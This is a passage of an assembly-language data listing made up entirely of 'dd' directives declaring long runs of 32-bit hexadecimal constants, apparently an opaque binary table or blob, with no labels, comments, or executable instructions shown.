		dd 0AE36D185h, 49002768h, 0BCFE065Ah, 0CE5DE56Dh, 0D5F4A7C2h
		dd 0B9F3AB0Dh, 0AE34E577h, 3768DCEBh, 0B290CAEFh, 9C55A4ACh
		dd 0EBA1BE81h, 0BE1F03ACh, 9F940215h, 0C72BE619h, 0FDA2EDE2h
		dd 6F9C0163h, 81B1015Ah, 7699473Ch, 0A92DECEDh,	2532876Eh
		dd 0BD444075h, 2352B53Ah, 87047D2Fh, 7825013Fh,	2A2793BEh
		dd 9A5C1ACh, 0EC65C7C1h, 0F4BB4BEEh, 0EC2D257Ch, 4EE3A84h
		dd 5C6D129Bh, 49F6795Dh, 0F4312394h, 0F48A14C1h, 0FA5AC7BDh
		dd 96A37384h, 0A390CED7h, 0A4497D25h, 0EAC516CBh, 0BDD4073Bh
		dd 7A20706Ch, 995C5480h, 0E8EE06D6h, 0DD429D44h, 0FBE6BB95h
		dd 270CC2FCh, 5C066D4h,	0DC5A6DF1h, 1F3C710Eh, 0AAF25E4h
		dd 0BD647684h, 0F6B4CDEEh, 6A34D621h, 3E78892Fh, 0F4EB11E4h
		dd 0B56C5EE0h, 861F0697h, 0A6A77AF6h, 0D4DBE6A1h, 0EC477A68h
		dd 0CE067E19h, 93051AFBh, 0BC5413EEh, 8CE77DF1h, 90278406h
		dd 2B55B6E9h, 29356665h, 0D9A84BF8h, 0DD5DB0E8h, 0DFA5BCE3h
		dd 7C38E1ECh, 592C028h,	8F360035h, 8501AD11h, 0D2B47D22h
		dd 220BCF3Fh, 25AC7F5Fh, 718484CDh, 0C95F186Eh,	0EA2B423Bh
		dd 40A2B296h, 0B43C6ABCh, 9CBA0696h, 8AD8BA56h,	4585EB95h
		dd 0EF284367h, 0D0638660h, 6685C2E9h, 0F804AAE8h, 340246Bh
		dd 0C9F8D672h, 0C0A5A961h, 1F7759BCh, 6B7307D1h, 0B008F83Dh
		dd 7E4B5C28h, 0BF4B462h, 749C5C5Fh, 0D0545705h,	23F6CD2Ch
		dd 8F4D3E3Bh, 53A45572h, 4D884584h, 8F196903h, 7DF438EFh
		dd 0FE8A5C38h, 966106D4h, 0B2BD559Fh, 2ED3352Ch, 0FA4368AFh
		dd 0BE0FBC3Ch, 62F65E3Eh, 18399922h, 0E0A2B63Eh, 0C8A95DEBh
		dd 0D6766CCDh, 0CCE5ADE2h, 0BD6306CFh, 18737490h, 0C322F739h
		dd 0E2074B5h, 0A357B9D1h
		dd 0CF2B9C14h, 3BFDF8EBh, 0F862867Fh, 0E5D167F8h, 0FCA84563h
		dd 4BB4E8Fh, 0FE535CA1h, 7FF5AF9Bh, 6C39C6CCh, 0E5FDE7C5h
		dd 4E7369Ch, 0C72103BBh, 0DBFB84C5h, 0B25149B7h, 0DF8A1CFh
		dd 822153F0h, 2FDA7984h, 0F563506Ah, 0E1D21067h, 0CCEB2B61h
		dd 0D33CE3A7h, 0C8F4FACEh, 4EC0453Bh, 0D3DBF687h, 0FF3D297Fh
		dd 0C0A710F8h, 71981CA3h, 0C4EBB54Bh, 163F30BBh, 2FFB8433h
		dd 7F3BFCCCh, 4FF91810h, 0EEC664BDh, 0B5E97214h, 322CA46Fh
		dd 0E43590AFh, 0FDDF6738h, 7114FCDEh, 6804555Fh, 0BBEAAA9Bh
		dd 15420549h, 322897A9h, 14CCA4BFh, 9DA0091Fh, 9CE4707Ch
		dd 83D737A6h, 0EB84C6C1h, 64464A21h, 94FBC794h,	3DC1F4Ch
		dd 4AD00DABh, 44589494h, 545C8D2Eh, 648CD722h, 0B4A0B3E1h
		dd 22D0506Fh, 0E0F7BC35h, 4B9C1D3h, 0E9CE653Fh,	7C111084h
		dd 0C44A79EAh, 0C6BD2AB3h, 0BEE8AAE7h, 0DF256392h, 0C304B653h
		dd 0FDF5D974h, 0B184A6FDh, 0CA0D95E1h, 0FE637EDEh, 82929D81h
		dd 0A3D40269h, 9493AB22h, 0BC17C44Ch, 0C733C21Ch, 0DF2241BCh
		dd 32227C24h, 0FB15FDFFh, 626778E0h, 96A124B2h,	3E394915h
		dd 3707D3A8h, 2BCF7F39h, 0DABDB4B1h, 80FA4405h,	3FA1DFFh
		dd 0E7AC4838h, 682A3BB4h, 6E8828CFh, 37338F6Ch,	6FA117E4h
		dd 0C44886EBh, 0E64C46F9h, 35231679h, 0B56BA21h, 638118B9h
		dd 7ECDB4AEh, 728A6633h, 8B344720h, 1A9BF4AFh, 9C17ADBFh
		dd 1BEC7FB2h, 45C81AD1h, 0C1670C64h, 7C295965h,	3B300F12h
		dd 8204A28Ah, 9D2074C5h, 44CB0EA9h, 0C8AA2720h,	68465542h
		dd 0B742A936h, 8553CA0Fh, 25A85427h, 53EF0695h,	0E6F9F8DCh
		dd 0BE8C0D39h, 0D15CFEF7h, 6873A8B4h, 91F3CDC1h, 0B4756B0Ch
		dd 9D657402h, 0A3DB16EEh, 95A03FE2h, 768F18E9h,	25E931EDh
		dd 5DEB345h, 8921673Eh,	9F329AD8h, 4BE44A41h, 9CA71897h
		dd 47DD92C3h, 92DD9664h, 460FF55Bh, 7DB17D7Fh, 0D951014Eh
		dd 393158C8h, 0ADB44714h, 8C066521h, 73A0942Eh,	0FB62ACFFh
		dd 57E2FBB4h, 0B5B6B4ACh, 200707Eh, 0BDE373E7h,	38D13A7Dh
		dd 0F4A49667h, 0FC25FEBBh, 3526FD2Fh, 0E9310C92h, 0CC56AF2Dh
		dd 1657827Eh, 0F012CF33h, 0BD00F4C9h, 59E04D3Dh, 3B5DE109h
		dd 3F2494E7h, 0B5E75C1Eh, 0D8CFFCCDh, 0C490B3DBh, 7CE459BBh
		dd 0EF669383h, 0A5747010h, 77F68210h, 0EEA208FCh, 0C52A90D0h
		dd 0F53A7C3Fh, 48343725h, 35B5EC31h, 6AAEB194h,	0F73A91FCh
		dd 69774EA6h, 686D81CFh, 71B7312h, 88FACCEFh, 6CB374FCh
		dd 9F632379h, 932E5953h, 500B5631h, 0CB02D9F1h,	0E474CCB4h
		dd 68597786h, 0A134AF7Dh, 0C3BF1531h, 503FEA46h, 51F4B2C6h
		dd 2157BE87h, 0EAF50EE4h, 0D0A995DFh, 98D7BD86h, 2CE255E7h
		dd 7E9B4685h, 9D04C207h, 0A4B98AC7h, 3E9ECD79h,	9D31CB3h
		dd 86A0FEDAh, 21DC3CF7h, 0C0CF12BCh, 508CFBF5h,	0F74DB522h
		dd 229E232h, 12310CA9h,	0CAA531F3h, 39D2C7B4h, 0E1A5061Ah
		dd 149C64FAh, 0A706B982h, 0BF6CDD26h, 0CEF8754Ah, 0EC446861h
		dd 0CA31B96Fh, 0CC71CBFDh, 0B123CE4Fh, 0D70059Eh, 0FED17C51h
		dd 42232A8Ah, 5F37C22h,	0E7DB1BC4h, 0E19E5A79h,	8E0F6D23h
		dd 5A6606D8h, 0FCD46AF0h, 0A9D88DA1h, 0DF2E14A3h, 0A6C15519h
		dd 5277816Ch, 0C8BA9571h, 2B59C56Ch, 803458BDh,	8CD1DDDEh
		dd 7EFBF5F6h, 0F860875Fh, 0FEF0CB5h, 0B7088BA1h, 2CB650Dh
		dd 69FA47E0h, 81C8AAE5h, 4B372BB5h, 0B01B060Fh,	4039B6E0h
		dd 6B00040Dh, 83AF6EDFh, 0D4D60CA7h, 4B3CB740h,	0FB019067h
		dd 5EFFB3C8h, 8B2D6235h, 808133ACh, 775F74FAh, 394C638Ch
		dd 0AB04C0ECh, 2A194925h, 0F55979BEh, 0AD2A933Ah, 71FF7E36h
		dd 2CBC379Ah, 847AB383h, 764F011Ah, 0CCEBB239h,	0D2D65F4Ah
		dd 0F5C7939Eh, 9DF24D23h, 0BFF7C969h, 0CB7CF6A2h, 0BB8E09AEh
		dd 73BA6920h, 226D41FBh, 0DC563F39h, 2C69523Fh,	0F22D9569h
		dd 0F8EAA89Eh, 0D32CE59Ah, 0DCD7FA84h, 3F07B5FDh, 78CE2F18h
		dd 1E374F95h, 0D4D6344Eh, 160B9A51h, 43505B31h,	5338B3AAh
		dd 9F015932h, 0E7245A82h, 5263B33Fh, 9CFA853Eh,	0ACD4B596h
		dd 87322BAFh, 22346BACh, 0E0F4B766h, 0EECBCAE1h, 0EA2CC3B7h
		dd 2558200Ch, 76259FFCh, 80347862h, 47141013h, 0ACA562FCh
		dd 0B7ECEDDCh, 4B70D22h, 809BB520h, 45ECD0FBh, 0BC41427Dh
		dd 891C1CE1h, 0BF4A68Bh, 7BE8E99Bh, 0B577BD19h,	0F5ED9602h
		dd 0DF26D631h, 3ED0C884h, 87631129h, 0D46207C3h, 7DC4691Fh
		dd 7B2CFF59h, 662B91A7h, 0CFE4B845h, 0FDD23FD6h, 2F31453Ch
		dd 0EFD075E2h, 0E806DC6Ch, 93A09369h, 0CB8F03BEh, 742D96E3h
		dd 9CF67110h, 0B3929071h, 6C6253CBh, 9CD84F18h,	0EDA47903h
		dd 3CB690CEh, 0D7340405h, 220777BAh, 0FBFE45E3h, 748211Bh
		dd 6B3EF71Ch, 0C164C326h, 35B6BED8h, 0E34384DEh, 2A37F1C7h
		dd 750B4618h, 7505199Fh, 583E91E4h, 2B107961h, 782B6B1Ch
		dd 1AF7EA37h, 61AD1DEBh, 13BBF941h, 6A6C4EE7h, 0E22E6DE5h
		dd 0D2F5B1E3h, 65DE43B7h, 9C06BDA6h, 6B6C68CEh,	0F204544Bh
		dd 704CBB1Ch, 0C735DD03h, 42E487AAh, 3FD531F0h,	2D8F4D75h
		dd 30EF656Bh, 1134C7D4h, 0DE8AF555h, 7DEAA93Fh,	20E0AE38h
		dd 0DAF6F1A6h, 7D3C716Fh, 531DEE00h, 44B160E0h,	24CA082Eh
		dd 0BBAB9529h, 3BEF6687h, 0FDA8C4B2h, 0FBFF014Fh, 0D73F635Bh
		dd 0EC051C58h, 0B59665CDh, 0C5AE8A6Ch, 7F3C3CD9h, 1077FCFCh
		dd 0C32262E4h, 0B981852Dh, 6A507C80h, 620D6530h, 399ACC5Ch
		dd 0FB2C03DEh, 32BC24E0h, 0E544C5DDh, 62F43484h, 0A61FE576h
		dd 69787529h, 66467796h, 37CB8F68h, 78D51958h, 0C4CA902Eh
		dd 0D76099B6h, 0EBB65A1Bh, 64DCE4CCh, 0D466D0E2h, 60036827h
		dd 0A9352D5Ch, 74FAB763h, 6891FD0Eh, 0B7B98B4Ch, 1C71FCBCh
		dd 0D64B3F37h, 0FCA9C813h, 0D5F2916Bh, 0FFF4A21Ch, 3E668214h
		dd 0C7055305h, 1CE1951Ch, 5BE56A63h, 1E7B6618h,	41D39B3Ch
		dd 0FD0AD64h, 6CC2F464h, 7CA9930Bh, 825991F5h, 6579C69Ch
		dd 0FC739510h, 0BAFB93FEh, 953993AEh, 15119C2Eh, 131197C7h
		dd 769602CFh, 70C165CFh, 16848F7Bh, 0ADC4C8F8h,	2D9441D6h
		dd 3FC94919h, 27A6D15Fh, 14601F80h, 94F63EE6h, 5725C277h
		dd 6DC1FC06h, 0F0E15D9Ch, 1D5014FCh, 4950B864h,	749B3DABh
		dd 0AC67AB8Bh, 95E4D83Fh, 4951DB6h, 7D629184h, 0E14C6C87h
		dd 9CA35522h, 0FFE56904h, 0AD449D63h, 0CB3B9D60h, 3EEBFB88h
		dd 5D4CFB3Dh, 3D442908h, 0A469650Dh, 0EBE2FDEFh, 8E62C5CCh
		dd 0E0FADAE6h, 0C02450DDh, 22E0FE9Fh, 4B38494Ch, 0D8D059E2h
		dd 1C10A706h, 758E48B7h, 0DFA4B6Ch, 0D2A2C626h,	9CA482E6h
		dd 4D36422Dh, 0C72BF56Fh, 2CB49C99h, 0CAD44F7Eh, 847A792Fh
		dd 64AC857Bh, 0FCCCE430h, 0F438BCC1h, 0F6368AF0h, 7010013Ch
		dd 0A5DBE9FBh, 6F2BDAA2h, 0AAF21C7Dh, 2967541Ch, 0FAAA2885h
		dd 0F8FDB2DDh, 0E9C41D41h, 8102CC12h, 26798E40h, 2ADADDB1h
		dd 4A9731CBh, 0A95A52F0h, 784E600Fh, 644AB5C0h,	42F57E86h
		dd 0CD379E2Fh, 0D79E2D68h, 0DB0A6926h, 0A4F6EFF9h, 14954F6Eh
		dd 0EFE27F9h, 0A6020BFCh, 6E44AB6Fh, 0AEB8B213h, 156B1DE8h
		dd 10463941h, 2A45A22Bh, 22643F12h, 17067520h, 7258BAAh
		dd 1C9A782Dh, 4B545462h, 260EC3E1h, 9F2669E7h, 220926B9h
		dd 0FE6D87E0h, 9C489DCCh, 0A1CFBF50h, 17628089h, 4E29FE42h
		dd 90649B42h, 279E8475h
		dd 0DD9A474Ch, 4D0793E4h, 1C3045D2h, 746574E9h,	0DCBCBFDAh
		dd 470DE1F8h, 0A4F43D08h, 99FBB4F8h, 0A0E57BBCh, 0FB29E6BAh
		dd 0FA1E55A5h, 0FBC32Fh, 0B2837950h, 57054140h,	751C6132h
		dd 20E0A90Ch, 4FAAB763h, 628E1DE1h, 0CB6C1F3Ah,	0FD5B7C78h
		dd 4553BB0Eh, 3F0073FAh, 472009C6h, 1CF555ABh, 30D62F38h
		dd 1EC974AEh, 0B99ED4Ah, 1B2FFD55h, 0BE5030Ah, 4630DDD4h
		dd 0F96AB40Ch, 74C7EBAh, 0D3229C3Dh, 0B5B9EBCAh, 0EBDE9C80h
		dd 0F41881D5h, 56086BC9h, 253A1B3Ch, 0B32CBAC7h, 0C6E50C09h
		dd 60BA76C7h, 56774E2Eh, 1F902CEBh, 7B26BAD4h, 1DE63A26h
		dd 0EF4A4AAh, 42C9BA24h, 602DBED9h, 25561DF1h, 3807552Ah
		dd 0B3674D68h, 329DC57Dh, 0F5F3B5D4h, 0D665863Ch, 6EC97F84h
		dd 2E4BA60h, 2BECF83Eh,	605C6084h, 0E9AEC0B5h, 0B22645AEh
		dd 7DECB464h, 9DD021CCh, 0D73D6926h, 0CA205735h, 0DF0503FCh
		dd 0C621BD67h, 63096495h, 348FB167h, 9FB5CA1h, 0CBC90B98h
		dd 5CFB69D4h, 4DD61A2Ch, 4EE48CCCh, 4395A8BBh, 33B3552Dh
		dd 99B71284h, 9D7B0C94h, 8B2B8C8h, 0DF0327B0h, 0E03D2A84h
		dd 0CBC53939h, 3DF678CDh, 0BEA6AD57h, 0AEBDA0A7h, 670BF818h
		dd 0A71763Fh, 7EC07072h, 0CAF4B035h, 64EC3B08h,	0A57E12A5h
		dd 0D1BC78DBh, 16F9A738h, 0FC067B47h, 25F416A9h, 40CE41D5h
		dd 16F14BEEh, 0BF523F3Ch, 9971CAFAh, 0A780D531h, 0F334F57Dh
		dd 0BEA5720Ch, 7D8B5318h, 0C2C40879h, 0DCCC7868h, 0D5FA4193h
		dd 627FA72Dh, 0DB71F4F6h, 4EAEDAF8h, 9FFAE2FCh,	0B10CA2D8h
		dd 0B805AB29h, 0CFCEEE8Eh, 4A7385C0h, 0DA645A64h, 4F0CAEF4h
		dd 9F377E3Bh, 0E8C1A6D4h, 0B080B70Dh, 6D891904h, 0E9235EA0h
		dd 4F33E69Ch, 7EF93007h, 22886921h, 0A7B81E95h,	0FCC0D5CDh
		dd 0C5A63F5Dh, 0C6C6A5DAh, 99D3A7D0h, 167D0095h, 448A10FBh
		dd 35405DC4h, 0D2E2FCFFh, 0B73E3BAAh, 0DDFD5D04h, 1031755Bh
		dd 0F8567921h, 16F704CBh, 73320C6Ch, 811A3149h,	0EA444245h
		dd 7882AA5Eh, 64C5CDCFh, 9AA9A448h, 3238A97Fh, 7CBCBA66h
		dd 0F9F34722h, 498D3553h, 0D4DD97C1h, 0C47DBCB0h, 91DDF448h
		dd 24CD15F0h, 9CF2CFAFh, 0F9D7AC19h, 0C44A69DEh, 0B4C70FCh
		dd 3F77EAF7h, 23A2C88h,	4729EF26h, 0B4A57C2Eh, 0D9E8248Dh
		dd 0CAF6AB83h, 78A45E98h, 0F49DFF39h, 0C55C80A1h, 91886482h
		dd 60FAE8CCh, 74811AA5h, 0CD2A4A0Ah, 0D9AD255Bh, 0C2606C32h
		dd 0D7109DC4h, 5F05882Bh, 42B85C4Eh, 773E5F6Ah,	7D7A4EBBh
		dd 7F4807A0h, 0CD7F0734h, 0F5753AE0h, 18B58B67h, 70F78146h
		dd 94FB60A3h, 3475F392h, 3E1D8708h, 9F7E720h, 39C89F65h
		dd 766F8187h, 0F8E9557Dh, 10FEC284h, 8D614284h,	2CA8DE36h
		dd 508FEAF5h, 0A6B1873Bh, 0EF43230h, 9AA49DE6h,	4FFABC3h
		dd 6DA2ACBBh, 7549A1Ch,	0AAAE8C8h, 0B7F6DA58h, 0B2579D7Dh
		dd 9F389CEFh, 0C333A983h, 5CD7125h, 687AC5C4h, 1B5F5884h
		dd 0E23138B9h, 2DA12DA4h, 7AE1E054h, 0BC4C4261h, 11EBF70Ah
		dd 0D99AB2Fh, 7BC01FE1h, 722FB8B0h, 7608CDFCh, 440AB9D9h
		dd 52E61376h, 93847CCBh, 3B2EA95Ah, 0E13B7363h,	0DDC0502Ch
		dd 0EE9C756Eh, 0AB84FA31h, 5109D29h, 8BBC323Fh,	0B0A003B0h
		dd 0B421D114h, 0B0A8AFDFh, 0F09BE3F4h, 4581E03Ah, 57A1F82Ah
		dd 7C9FD1D2h, 25727Fh, 168D1DDEh, 5D345ACAh, 77D18137h
		dd 3265E8ADh, 0A3F9D66h, 0FD218733h, 673936A3h,	142F131Fh
		dd 2EC6350Ch, 0DFBC0D61h, 590B5404h, 70979B34h,	182557FFh
		dd 0A21B07Ah, 0BD2EBA63h, 1F2E7C20h, 21413C34h,	0C77ECFDBh
		dd 7C353C2Ah, 7638FC32h, 4A25347Eh, 12211D0Ch, 0D334660h
		dd 4F75BC94h, 0C7F8C89Fh, 0BD058114h, 0D32BAC0Dh, 9BDAF071h
		dd 544C650Ch, 0FA9F8536h, 832B145Bh, 546B6C6h, 9A858F5Eh
		dd 0E229514h, 3882E361h, 965801AAh, 3C77378h, 1F124B64h
		dd 0C493C04Eh, 0A0F98FCFh, 0A6D68D71h, 78CD8F89h, 3D324925h
		dd 0E60ECF36h, 5935262Ah, 3B04FF33h, 64C2EACFh,	0E194AB41h
		dd 43647547h, 0C5D8A5C5h, 8D0EA8BFh, 0F40BD15Ch, 0C4965597h
		dd 0C7C2705Fh, 994FC048h, 0F7378AA9h, 53A48088h, 1287568h
		dd 0CF69C7Fh, 0C74372F9h, 39C662F6h, 91977EEh, 2A88F7C2h
		dd 0B508A1A4h, 0F87AAFAh, 0C0C60021h, 0B76518A9h, 0C5A51821h
		dd 3355A14Dh, 0FE556F34h, 55457A34h, 19A07E0Dh,	0D4F28B0Dh
		dd 0D4EA73BEh, 0C2F3574Fh, 0A5F1686Bh, 229BACDh, 9AA0A57Dh
		dd 84BACA09h, 22FEC7A8h, 36C7AAA8h, 63FB65A8h, 15FCE3A8h
		dd 273CA6D4h, 0A3356A9Fh, 243C3A09h, 7B357A7Dh,	0E5DCA6AFh
		dd 0B560AC2Eh, 37345E0Ch, 84F30F3Ah, 721671C3h,	863E0EEh
		dd 353D52B7h, 5BCB01F1h, 21EAAC88h, 0C4C362A2h,	9A2CBD3Dh
		dd 0F0F5DDABh, 254F280Bh, 6833F329h, 0C6BCE2BDh, 0EAADABF8h
		dd 0AE530ACAh, 0ED003B90h, 0C733B0DEh, 172385A7h, 0D5F09DDAh
		dd 0E7DCA452h, 0E56800Fh, 979F7B3h, 74435A43h, 0BBF94E81h
		dd 0EAF56051h, 63A9BD6Fh, 0D3240C61h, 51613088h, 4B6C0188h
		dd 0A054772Bh, 0E75E401Dh, 23C92CA6h, 6BF4BB7Eh, 0EEC76E4h
		dd 0A7F58F45h, 76DA60E6h, 0FD2AA9A8h, 0FF0E6C23h, 0AFF3F090h
		dd 87BD0E17h, 5BF594C0h, 0C9A73AD6h, 0A0E3600Dh, 7DEC82A6h
		dd 0CC793CFFh, 13A6AA40h, 7477C55h, 99C40FECh, 137F0D2Ch
		dd 54CCAF65h, 61BBE8E4h, 84583CCCh, 0B036A73h, 346F300Ch
		dd 3E4C54EEh, 7D55593Fh, 3A825523h, 121318ACh, 37F4F83Eh
		dd 7734E501h, 0BA03CB3Dh, 4AF1B49Ah, 0EAB4E684h, 0C9DEB03Ah
		dd 0DF9E7B26h, 0FB27C289h, 0CB64B475h, 0E66E64E8h, 0B81D5A3Ah
		dd 5E05808Dh, 78207D39h, 5F6DDE7h, 5DB0DA41h, 27EB59C9h
		dd 0BBEAE270h, 0C45AF544h, 754486C0h, 0C2C6E480h, 1B20C461h
		dd 704C6093h, 0D888440Dh, 0F403E2ACh, 9CDAB8EFh, 44CCBA65h
		dd 0A52174ABh, 9CE00085h, 835EB8F7h, 0A598BAD8h, 5A5251ABh
		dd 0A8AD6A7Ah, 9CCA3D74h, 0F1EAAF3Fh, 3662F938h, 0F407C450h
		dd 26F8A184h, 0DDBE0E4Eh, 38E87354h, 6478B305h,	22440779h
		dd 152E28CCh, 624D3Ah, 0F3A7720Dh, 6834857Ch, 0A0C9C1F1h
		dd 50CC07E9h, 0CDB890C6h, 2A4D7D2Dh, 0BA7718E8h, 0C53DAB0Fh
		dd 1933A80Ah, 8333524Ch, 20AD5DE7h, 0B0C25D24h,	9D3A7219h
		dd 734EACCh, 0CF9F3439h, 0A6070E7Ah, 4B00723h, 18BFFFE5h
		dd 0C3B14677h, 0E80E8904h, 0B204537Ah, 0B64D5320h, 28EE819Bh
		dd 9528D23Eh, 7E53639h,	0AE580DFCh, 0E33AA9BEh,	9208D236h
		dd 344C53DCh, 0AAA5E347h, 0FC8FEAEFh, 352EFD28h, 0EEFA7F5Dh
		dd 4D34B44h, 701876F8h,	0AF236DCCh, 0FB4F860Dh,	1D290D53h
		dd 39F75E64h, 0A30BB650h, 90E6FC5Eh, 33EDFB59h,	7A6A9308h
		dd 0A698B6F4h, 27F423CFh, 0FCA175F7h, 22F85A04h, 0C1F73D7Ah
		dd 3F346742h, 9DD2B73Ah, 0FAC1E8CEh, 0D8AD1B6Ch, 82F6BEADh
		dd 0D79AAD36h, 69EF0B69h, 4F34BB2Fh, 1AB0F068h,	0CBE47479h
		dd 0B7C6193Eh, 6F18DC21h, 0A0DC6528h, 84CE072Ch, 1C970DA0h
		dd 53067F3Ch, 8D5AFE22h, 71B820FBh, 39186FCBh, 999A3F39h
		dd 0D12EC1FCh, 0C771DEEh, 7839ADA7h, 6DA102F7h,	0D8071D34h
		dd 6CC54773h, 81B40104h, 2EEA984h, 552B58C8h, 8B809AFBh
		dd 85C84109h, 5F03BA80h, 0CC85E1B8h, 4A735921h,	0BA18BEBEh
		dd 1E4B83A8h, 5CE7680h,	4B7DFEAh, 681EDA9Bh, 38A71F42h
		dd 0ACB80DACh, 0D6F179BDh
		dd 77FAE7ADh, 6ECFDE0h,	3B50DDFCh, 4F8BFFC7h, 69BA1C61h
		dd 0DB1C5277h, 3B74EC8Dh, 0B3F3526Bh, 0D82BE9C7h, 927F0D69h
		dd 4D1BDC6h, 0A6F24D2Eh, 2F0E30A8h, 0B8F4E60Dh,	94A2B226h
		dd 5DA075B1h, 0CB99B9A2h, 9018332Ch, 6AAF0713h,	0C677B881h
		dd 0C27F12FAh, 0D889CCF0h, 0FE90A6C9h, 0EF6F2E8h, 0DC8FD999h
		dd 9E855938h, 0ACDBA13Eh, 7DF151A1h, 3CB773C7h,	27747C24h
		dd 0C157B0C5h, 0CA3A2C45h, 0EC69C600h, 0FBBD4DE3h, 0D6359EA4h
		dd 0D980B967h, 69CCF154h, 9D37B5E9h, 390DFC3Fh,	0F5E53EC4h
		dd 0AD45F9FDh, 0CB5B6C34h, 960F77B4h, 0F3FA051Ch, 0DD766D1Eh
		dd 0D2BC8BECh, 0AEE8BF71h, 0ED2DBBF6h, 9891763Eh, 0DCE60868h
		dd 141DE9h, 0F0A85275h,	0C8F63F9Ch, 815DE591h, 0CA849D67h
		dd 3F23C409h, 2EF511C5h, 4F83CEEh, 0E956CCBBh, 0E2E7F620h
		dd 3C05B5D2h, 34F6B957h, 0B7EE6E08h, 1009080Bh,	4207CFA2h
		dd 52C4441Bh, 6E7A7CD1h, 0D638B6E5h, 25817142h,	8F8CD1F8h
		dd 0A1C3BFh, 7CCC76CDh,	28806D0h, 62D66224h, 1AAE1FA8h
		dd 0A4F507B2h, 0B7A6844Bh, 19DBC5DEh, 0C288FD0Fh, 0F5EB3937h
		dd 0BC413292h, 9F2C7E22h, 0AB48BFF7h, 10F0F55Ah, 0F13ED0AFh
		dd 0A4FF4F25h, 7FA7AD1Ch, 2AD8B81h, 0CFD4746Dh,	5F1D029Fh
		dd 0B6EB43FEh, 0DF058AA1h, 81E9A767h, 2074D44h,	29E3808Eh
		dd 89E48BC5h, 0A4BEE2F9h, 0B42699FCh, 3D741D3Ah, 0E290C07Eh
		dd 0A88E74C8h, 3FE72E87h, 0B80AD820h, 0EAF7F7D5h, 6C37493h
		dd 22E27E17h, 4C352ED9h, 50F1FCC4h, 70F859C0h, 86B1DF9h
		dd 2EC23D61h, 5DC9C1F9h, 3EB172C8h, 7321A1ADh, 4525BA2Dh
		dd 7FA8B96Ch, 0BC7F5D3h, 0C22F283Dh, 783FE964h,	0A2E2DC84h
		dd 70C64EBDh, 0E00B7E9h, 3A5F3A07h, 9342A5D6h, 0C41AD822h
		dd 12ABB806h, 964C7AA8h, 0AB6D71B2h, 27E7A883h,	0BD613F05h
		dd 3D79E72h, 0E98FB3C6h, 51D3B4C8h, 5181AFCh, 127C9D6Ch
		dd 44BCD8C6h, 1A21F2A6h, 719D4285h, 0F2B3A87Fh,	9F2EA729h
		dd 2F0B52E4h, 2FD0F714h, 4FB8727h, 0AF57E49h, 0EF4CB54Ch
		dd 40ADFC9Fh, 9F208D0Dh, 0B8BB4935h, 0A2E43A1h,	3CCAA757h
		dd 9DE5C65Fh, 452E4008h, 1E599189h, 3D275855h, 0F290B3AAh
		dd 0C463BFEh, 0B86F330Eh, 0D75D6272h, 4BABCB20h, 0BA1F019Ah
		dd 6E16641Bh, 9D09005h,	232DC99Eh, 0DEDC184h, 0BC40CA6Ah
		dd 0C381B336h, 0B6C7474Dh, 7CF5BB79h, 11A8B6DDh, 670EA731h
		dd 0F594727Eh, 6CFB5932h, 0B4880736h, 0A2B5D152h, 0B00A818Ah
		dd 62E5DC6Ch, 7B33431Dh, 4B43CFF7h, 0D534AAC6h,	66B4C3C2h
		dd 16B3B713h, 0CEC6B0FCh, 0CAA4D268h, 0F4AF1BC2h, 0CC3546CFh
		dd 63F7A38Dh, 8336C652h, 0F5B41B29h, 8E857Ch, 0F9EC7571h
		dd 34C77C21h, 0D4369B35h, 302F0004h, 0B663B2B4h, 263B19CAh
		dd 11CF8738h, 53DBBBE1h, 2C2CBD1Eh, 0BD003713h,	0E5886142h
		dd 0FB96A0DBh, 0EED391E6h, 0D153CD79h, 0BDD8850Ch, 0E6525BD0h
		dd 111969DEh, 0CCF56E22h, 0FFA9B84Fh, 0B23C417h, 0A4C70F0Eh
		dd 41D6368h, 70D3F7E8h,	6F1E4760h, 0B668F948h, 0AFF1BC04h
		dd 0CFAD413Ch, 5B3BB83Ch, 0C82C988Ch, 0A6084139h, 12347B88h
		dd 69D65D3Fh, 25D2FC22h, 386BF917h, 1F81B73Ch, 0C8B4CA4Fh
		dd 0B9C7887h, 0F05EB42h, 2278FDE9h, 4F266754h, 23BB8634h
		dd 0C8BB8D0Eh, 60A0A918h, 0DC08AFE9h, 438CA9FDh, 9AFD4021h
		dd 0F03482D9h, 4689F1D4h, 0B9AFAAF9h, 0F914F94Fh, 0BBFA3A24h
		dd 0E5749E99h, 420F813Ch, 7D48372Ch, 6920DA4Dh,	1E2FDA00h
		dd 9C550484h, 89ED66CBh, 34D4ADFAh, 3E1B6768h, 66B19D7Ch
		dd 0B77991C2h, 0C2AD57B9h, 9C706467h, 990B440Eh, 4C2152B6h
		dd 10F04778h, 3CEC5CC2h, 0EE0507A8h, 0DFAC5E2Ah, 49D0FB25h
		dd 3EE1816Ah, 0D9AB43F3h, 0CD3B94E9h, 4C64EFCEh, 8B3BD78h
		dd 0FAE4AD23h, 4794A568h, 4D1B363h, 107B72Ah, 56E5332Eh
		dd 92B43560h, 0DEA149A7h, 0FBE34923h, 75CD4168h, 0CF87C3D8h
		dd 0FB0E0945h, 0BF3B7526h, 7DE4E360h, 1EF8AAD8h, 894D838h
		dd 0FB068574h, 68C87EFh, 0EB748745h, 0BC854415h, 0A488410Ch
		dd 0EFD481CCh, 729FE6Ch, 756D7AA8h, 12057B87h, 427F7BE4h
		dd 0F6267D4Fh, 0D3708CBCh, 0DAEDC549h, 6C93C2C4h, 4E1C6E4h
		dd 0F94F18D9h, 0B40C7C6Ah, 0BB320AF8h, 79B43D3Fh, 81B8FE39h
		dd 280E4432h, 96B59AB8h, 68BC8ADh, 8D812C76h, 4578DDFCh
		dd 0DDF551F9h, 0E4A97B27h, 0A30F926Fh, 0D0CCB5E2h, 0B1F70BE9h
		dd 0C0C6F8BEh, 4B029144h, 404FC2Ch, 0F84F6438h,	0C2E7FC86h
		dd 69C4633Ch, 588540EFh, 7AB8F949h, 0DF616E7Ch,	8D7C81C0h
		dd 2AC43769h, 2914C8C7h, 0D510D533h, 507404E8h,	0E6B531E7h
		dd 0D3078578h, 96586DFEh, 5ACB863Bh, 654FF783h,	423C3E4Ah
		dd 0C6F50DFBh, 0E8BA44BFh, 0F08577AAh, 62EB4DE1h, 860D9DDDh
		dd 0C7AD90EFh, 0D714CD0Ah, 0F5A4DCC1h, 4520AD98h, 0BF1CBFD4h
		dd 0FFBBB6A0h, 7E4A3C7h, 1619FEE0h, 15D9D784h, 83055F2Bh
		dd 8BB6AE18h, 0E9B31EF0h, 323CA939h, 0D1729431h, 4FEFCAB4h
		dd 0E3F031EDh, 17A4B796h, 3426DBB7h, 0CF4453Dh,	707D6C2Eh
